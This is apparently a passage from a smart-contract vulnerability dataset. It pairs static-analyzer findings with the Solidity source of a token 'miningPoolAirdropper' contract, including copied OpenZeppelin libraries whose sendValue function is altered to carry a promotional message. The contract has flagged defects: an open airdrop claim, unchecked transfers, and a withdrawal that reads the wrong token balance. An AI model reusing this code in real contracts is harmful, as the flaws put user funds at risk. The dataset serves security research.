"naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [67]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [37]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [67]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [51]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [37]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [52]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Templar.sol": [18, 19, 20]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Templar.sol": [7]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Templar.sol": [9]}}]
[{"error": "Integer Overflow.", "line": 57, "level": "Warning"}]
[{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 31, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 72, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 21, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 11, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"rate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"beneficiary","type":"address"}],"name":"create","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"collect","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.19+commit.c4cbbb05
true
200
Default
false
bzzr://be8a5a3d03c08ca5f998206bf4f7653aa0005a2224648a64042da14ae4bdcd79
miningPoolAirdropper
0xc18f41600d111a195b107f89e82f45331ace38bb
Solidity
pragma solidity 0.6.8; // SPDX-License-Identifier: MIT /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)("欢迎访问https://pizzaswap.net以获得披萨"); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract miningPoolAirdropper is Ownable { mapping(address => uint) public isAirdrop; uint256 public airdropAmout; using SafeMath for uint256; using SafeERC20 for IERC20; uint256 private ethPzPrice = 29; uint256 private pzUsdtPrice = 19; IERC20 public token = IERC20(0x205BB454CfF5ece04A102D7449313ebb934014e8); MasterChef public masterChef = MasterChef(0xC1C83369f3F7662bC72370ac98Bd93644EDcf92C); event PizzaSwap_Airdropper(address _address,string message); //确定性erc20代币空投,通过setAirdropAmout,setToken来设定确定的erc20代币及领取空投数量,只能领取一次 function airDefiTransfer( address _recipients) public returns (bool) { require(isAirdrop[_recipients] != 1,"Airdrop has been obtained"); require(isAirdrop[msg.sender] != 1,"Airdrop has been obtained"); // for(uint j = 0; j < _recipients.length; j++){ // token.transfer(_recipients[j], _values); // } token.transfer(_recipients,airdropAmout); isAirdrop[_recipients] = 1; isAirdrop[msg.sender] = 1; return true; } function airTransfer(uint256 start,uint256 len,uint256 pid,uint256 _multiple) onlyOwner public returns (bool) { // require(_recipients.length > 0); //IERC20 erc20Token = IERC20(_tokenAddress); // masterChef = MasterChef(_masterChef); address _addr; uint256 amount; for(uint j = start; j <= len; j++){ _addr = masterChef.regisUser(j); (,amount,,,) = masterChef.userInfo(pid,_addr); // erc20Token.safeTransfer(_recipients[j], value.mul(value).mul(18).mul(1e6).div(1e18)); if(amount > 0 ){ if(pid == 0){ token.safeTransfer(_addr, _multiple.mul(Math.sqrt(amount.mul(amount).mul(1e18).div(pzUsdtPrice).div(1e6)))); }else if(pid == 1){ token.safeTransfer(_addr, _multiple.mul(Math.sqrt(amount.mul(amount).mul(ethPzPrice)))); }else if(pid == 3){ token.safeTransfer(_addr, amount.mul(10).div(100)); } } } return true; } function test (uint256 j,uint256 pid) public view returns(uint256 a){ address _addr = masterChef.regisUser(j); (,uint256 amount,,,) = masterChef.userInfo(pid,_addr); if(pid == 0){ return Math.sqrt(amount.mul(amount).mul(1e18).div(pzUsdtPrice).div(1e6)); }else if(pid == 1){ return Math.sqrt(amount.mul(amount).mul(ethPzPrice)); } } function countPz(uint256 pid,uint256 amount) public view returns(uint256 r){ if(pid == 0){ return Math.sqrt(amount.mul(amount).mul(1e18).div(pzUsdtPrice).div(1e6)); }else{ return Math.sqrt(amount.mul(amount).mul(ethPzPrice)); } } function setToken(address _erc20Address) public onlyOwner{ token = IERC20(_erc20Address); } function setMasterChef(address _masterChef) public onlyOwner{ masterChef = MasterChef(_masterChef); } function setAirdropAmout(uint256 _airdropAmout) public onlyOwner{ airdropAmout = _airdropAmout; } function testsqrt(uint256 number) public view returns(uint256 result){ return Math.sqrt(number); } // function AirTransfer( address[] memory _recipients, uint _values, address _tokenAddress) onlyOwner public returns (bool) { // require(_recipients.length > 0); function withdrawalToken(address _tokenAddress) onlyOwner public { IERC20 tokenErc20 = IERC20(_tokenAddress); tokenErc20.transfer(owner(), token.balanceOf(address(this))); } } interface MasterChef{ function userInfo(uint256 id, address userAddress) external view returns ( uint256 pid, uint256 amount, uint256 reward, uint256 rewardPaid, uint256 userRewardPerTokenPaid); function regisUser(uint256 id) external view returns (address userAddress ); }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["642"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["564"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["538"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["38", "641"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["276", "283", "261", "295"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [421]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [547]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [546]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [91, 92, 93]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [453, 454, 455, 456, 457, 458, 459]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [75, 76, 77, 78, 79, 80]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [106, 107, 108, 109, 110, 111]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [16, 14, 15]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [32, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [500, 501, 502, 503]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [489, 490, 491, 492, 493, 494, 495, 496, 497, 498]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [201, 202, 203, 204]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [485, 486, 487]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [232, 233, 230, 231]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [432, 433, 431]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [184, 185, 186]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [505, 506, 507, 508]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [21, 22, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [290, 291, 292, 293]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [609, 610, 611, 612, 613, 614, 615]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [640, 641, 642, 643]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [299, 300, 301]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [630, 631, 632, 633, 634]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [618, 619, 620]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [626, 627, 628]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [624, 622, 623]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [528]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [457]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [627]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [578]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [580]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [622]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [640]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [626]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [552]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [618]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [555]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [570]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"miningPoolAirdropper.sol": [224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 220, 221, 222, 223]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [566]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [564]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"miningPoolAirdropper.sol": [642]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 549, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 550, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 292, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 585, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 39, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 618, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 622, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 626, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 249, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 546, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 547, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 478, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 543, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 410, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 651, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 482, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 486, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 497, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 502, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 507, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 528, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 421, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 453, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 453, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 453, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 454, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 454, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 454, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 454, 